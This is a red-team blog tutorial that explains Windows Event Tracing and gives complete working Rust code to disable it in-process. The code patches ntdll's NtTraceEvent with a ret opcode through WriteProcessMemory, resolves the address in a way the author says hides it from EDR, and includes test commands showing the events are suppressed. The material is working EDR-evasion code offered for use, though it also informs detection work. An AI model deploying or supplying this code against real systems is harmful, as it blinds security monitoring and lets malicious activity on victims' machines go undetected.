EDR Evasion ETW patching in Rust

A comprehensive guide on using Rust to patch ETW for effective EDR evasion, focusing on user mode bypass techniques.


Introduction

The project can be found here on my GitHub. This post is provided for red teamers and anybody interested in offensive cyber for legal purposes only. See my legal disclaimer.

Event Tracing for Windows (ETW) is a fast logging and tracing interface for Windows, initially developed to provide deep logging and debugging capabilities, it has since grown to be a powerful source of telemetry for EDR in the last 10 (or so) years.

ETW operates in both user mode, and kernel mode, one thing which will be important to know during this blog post. We are only going to concern ourselves with EDR bypasses for ETW in user mode - bypassing the kernel mode drivers requires code execution in the kernel.

ETW is comprised in two parts:

In this project, we will use a custom event Provider to simulate an ETW event triggering, then we can verify that our EDR evasion technique (patching ETW with Rust) worked.

To view all the Providers on your system you can enter into powershell:

logman query Providers

logman ETW screenshot

These are all events which could be subscribed to by a consumer, such as an EDR.

Threat-Intelligence Provider

One important ETW Provider we should care about is the Threat-Intelligence Provider:

ETW Threat-Intelligence

This is an ETW Provider which is commonly monitored by EDR which will give the EDR additional sources of telemetry to crunch. Some work conducted by jsecurity101 on GitHub shows some of the Windows API’s which will trigger an event (or signal) for the Threat-Intelligence Provider:

You can find their full spreadsheet of data here.

As you can see, these API functions are all used in malware tasks such as loading and patching. Unfortunately for us, the EtwWrite function isn’t available as a user mode library, it is part of a kernel driver, so we cannot patch this without ring 0 execution. There are ways of patching this, but it’s out of scope for todays post.

ETW Patching

Whilst it may sound bleak that we cannot easily patch out Threat-Intelligence, we can still patch out all user mode calls to ETW, which will still significantly reduce the amount of telemetry the EDR has access to about our process. Fear not!

There are a few ways of disabling ETW logging, the method I’d like to focus on is patching memory at runtime.

When a ETW Provider sends a notification, it will eventually reach into ntdll.dll for the function NtTraceEvent. As it is an Nt function, we can instantly recognise it wll pass execution from user mode to the kernel, so we can expect a syscall somewhere in the stub. Opening a process in x64dbg, you can indeed see that NtTraceEvent does perform a syscall:

4C:8BD1 | mov r10,rcx
B8 5E000000 | mov eax,5E
0F05 | syscall

This function is the bridge for sending a signal, or event, into ETW. In order to stop ETW being notified of a new event (which in turn would mean the EDR receives a signal to say something possibly malicious has happened), we can simply patch the function address to return straight from byte 0.

The opcode for a ret is C3, so we can swap out the opcode 4C with C3 to immediately return out of the stub (essentially disabling it), meaning ETW will never receive notification of an event from our process.

Obviously - EDR vendors aren’t blind to this technique and will be looking for signs of malicious activity, such as:

GetProcAddress(hModule, "NtTraceEvent");

Hopefully, to an EDR, this is a big red flag. To get around this problem, you can use a technique such as resolving library export addresses by readding the PEB, as used in my implementation of Hell’s Gate. You can check my blog post, GitHub. I produced a crate called export-resolver (a Rust library) to make Hell’s Gate (and dynamic function resolving) with a simple and nice API - check it out here at crates.io.

There are also the functions EtwEventWrite and EtwEventWriteFull which can be called as part of the ETW signal process, but as you can see, these are both a proxy into NtTraceEvent, so, we can be sure in the fact we only need to patch NtTraceEvent.

NtTraceEvent proxy

Coding

For this, I’ll use my export-resolver crate to obtain the virtual address of the function NtTraceEvent.

Here’s what we are going to do:

  1. Get the virtual address of NtTraceEvent via my export-resolver library.
  2. Get a handle to our current process.
  3. Patch the NtTraceEvent function in ntdll.dll by overwriting the first byte with the opcode C3 (ret).

We will then use a separate program, which is the example given in the Windows GitHub repo for sending ETW events to test before and after patching ETW. I won’t show you the code, as its lengthy and available on GitHub, so go pull it from there.

You can also see how much heavy lifting my export-resolver does through using the nice API :).

Heres the code:

use std::{arch::asm, ffi::c_void, mem};

use export_resolver::ExportList;
use windows::Win32::{Foundation::GetLastError, System::{Diagnostics::Debug::WriteProcessMemory, Threading::GetCurrentProcess}};

fn main() {
    // Get reference to NtTraceEvent
    let mut exports = ExportList::new();

    exports.add("ntdll.dll", "NtTraceEvent").expect("[-] Error finding address of NtTraceEvent");

    // retrieve the virtual address of NtTraceEvent
    let nt_trace_addr = exports.get_function_address("NtTraceEvent").expect("[-] Unable to retrieve address of NtTraceEvent.") as *const c_void;

    // get a handle to the current process
    let handle = unsafe {GetCurrentProcess()};

    // set up variables for WriteProcessMemory
    let ret_opcode: u8 = 0xC3; // ret opcode for x86
    let size = mem::size_of_val(&ret_opcode);
    let mut bytes_written: usize = 0;


    // patch the function 
    let res = unsafe {
        WriteProcessMemory(handle, 
            nt_trace_addr,
            &ret_opcode as *const u8 as *const c_void, 
            size, 
            Some(&mut bytes_written as *mut usize),
        )
    };

    // interrupt breakpoint - leave this in if you want to inspect the patch in a debugger
    // unsafe { asm!("int3") };

    match res {
        Ok(_) => {
            println!("[+] Success data written. Number of bytes: {:?} at address: {:p}", bytes_written, nt_trace_addr);
        },
        Err(_) => {
            let e = unsafe { GetLastError() };
            panic!("[-] Error with WriteProcessMemory: {:?}", e);
        },
    }    
}

If we uncomment the int3 instruction, we can now see that the patch was successful:

NtTraceEvent patched

Testing

Now, this doesn’t provide much insight on its own, we need to check it’s actually blocking ETW signals. To do this, as mentioned about there is an example on Microsoft’s GitHub (in Rust) which sends several notifications to an ETW GUID. We can capture the events and display them using Windows command-line tools.

Test one

For the first test, we will run the program provided by Microsoft, capture events, and display them. We can do this with the following commands:

logman create trace test -p "{861A3948-3B6B-4DDF-B862-B2CB361E238E}" -ets
# run the program whilst logman is active
logman stop test -ets
tracerpt test.etl -o output.csv -of CSV

The output of that is as follows:

ETW test 1

As you can see, every row relates to an event, and there’s a number of them!

Test two

Now we can turn on the functionality to patch the NtTraceEvent function at runtime. Running this produces:

ETW test 2

As you can see, this is massively different, and we have bypassed ETW :).

Closing

In conclusion, we have gone through an in-depth exploration of using Rust to patch ETW for EDR evasion, emphasising the importance of this technique in offensive security. We covered the fundamentals of ETW, identified key providers like the Threat-Intelligence Provider, and demonstrated how you can patch the NtTraceEvent function to prevent ETW from logging events. This method significantly reduces the telemetry available to EDR systems, enhancing stealth during red team operations.

Please as ever feel free to reach out to me at Twitter, I’d love to hear how you implement this in real red team engagements, or your own hobby projects. Remember, this blog and its content are to help me grow, all for legal and ethical purposes only.

If you have any comments, or suggestions, please let me know! I’ll likely extend my export-resolver library into a new library focussed on all round EDR evasion techniques I am writing about, so stay tuned for that!